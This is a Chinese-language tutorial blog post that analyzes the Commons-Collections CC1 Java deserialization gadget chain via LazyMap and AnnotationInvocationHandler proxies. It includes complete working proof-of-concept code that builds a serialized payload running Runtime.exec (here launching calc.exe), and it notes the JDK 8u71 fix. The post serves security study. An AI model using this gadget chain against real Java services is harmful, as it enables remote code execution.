当前位置:   article > 正文

CC1链补充-LazyMap

CC1链补充-LazyMap

前言

在我们上一篇中详细分析了CC1链,但是在CC1链中还有一条链就是LazyMap类

1.安装和CC1核心

环境安装的详情可以见上篇CC1分析的第二部分,环境搭建部分
两条不同的路线其实第一步核心都是相同的,执行类都是Tansformer接口和实现类,详情可见上篇CC1分析的第三部分

Commons-Collections篇-CC1链小白基础分析学习

2.(Gadget)寻找哪些调用了执行类

在上一篇中调用链找的是TransformedMap,但是本篇也是在这里重新出发,找的是LazyMap方法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到LazyMap也是能够进行序列化,满足我们调用链的寻找要求
在get方法中首先就要进行一个if判断,判断成功才会执行transform方法
if (map.containsKey(key) == false)

在这里插入图片描述
containsKey方法根据描述来说用于检查一个特定的键 key 是否不存在于 map 这个映射(或称为字典、哈希表)中,如果存在的话就返回true
所以想要满足这个if语句,我们需要传入一个map数组中不存在的key键名称即可

在这里插入图片描述
查看LazyMap方法,可以看到factory我们是可以控制的,但是直接调用该方法是受到保护的,继续寻找,发现有一个公开的静态decorate方法,返回了一个LazyMap实例

在这里插入图片描述
所以我们构造一个poc,传入的是我们之前分析的执行类InvokerTransformer

public class test {
    public static void main(String[] args) throws Exception {
        InvokerTransformer test = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"C:\\windows\\system32\\calc.exe"}
        );
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,test);
        Lazy.get(Runtime.getRuntime());

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

在这里插入图片描述

3.(Source) 寻找入口类

我们已经找到LazyMap类中的get方法能够调用咱们分析的执行类,所以我们接下来寻找并分析入口类

和之前的CC1分析类似,也是找到了AnnotationInvocationHandler这个类,但是方法不一样,上一篇是分析了readObject方法,这一次是invoke方法
在这里插入图片描述
在这里插入图片描述
既然找到这个方法,确认为入口点,怎么来进行触发呢?他和readObject类似,当进行反序列化时就会自动调用readObject

当进行动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法

所以我们只需要创建一个使用AnnotationInvocationHandler作为处理器的代理对象动态代理,并无参调用该代理对象中的方法即可

正好在readObject中可控的memberValues调用了entrySet方法,恰好是个无参方法
在这里插入图片描述
在这里调用了entrySet()方法也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用

第一步,我们先通过反射得到AnnotationInvocationHandler类的构造方法,设置可以访问,并将Override.class, Lazy传入构造器,创建一个实例invocationHandler

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
aDe.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);
  • 1
  • 2
  • 3
  • 4

用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyMap,并动态代理前面的invocationHandler方法

Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
  • 1

根据代理对象proxyMap重新创建了一个实例

invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);
  • 1

所以整体的一个思路为反序列化后readobject自动触发代理类的无参方法进入代理的处理类invoke,走LazyMap的get方法

4.POC编写

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
        aDe.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);

        Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);

        serializable(invocationHandler);
//        unserializable();
    }

        private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
            FileInputStream fis = new FileInputStream("obj1");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object o = ois.readObject();
            return o;
        }
    private static void serializable(Object o) throws IOException, ClassNotFoundException {
        FileOutputStream fos = new FileOutputStream("obj1");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

我们在序列化到文件之后,进行反序列化poc测试

public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();

    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj1");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述

5. 修复

官方推荐是将jdk版本升级到jdk8u71

在8u71版本之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法
第593行新建了一个名为mv的LinkedHashMap,然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值,所有的操作都是基于这个新建的LinkedHashMap操作的,所以至此利用链就断开了,无法按照我们的预期进行。
在这里插入图片描述

6.总结

整体的调用链大概是这个样子:

  • InvokeTransformer#transform
    • LazyMap#get
      • AnnotationInvocationHandler#readObject

在调试和运行中,发现调试中会多次弹出计算器,而运行只会在反序列化中触碰

在调试模式下,由于IDE的行为(例如在断点处重新加载类或对象)可能导致AnnotationInvocationHandler的invoke方法被多次调用,从而意外地触发了Transformer链中的操作,导致计算器被启动。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/694687
推荐阅读
相关标签
  

闽ICP备14008679号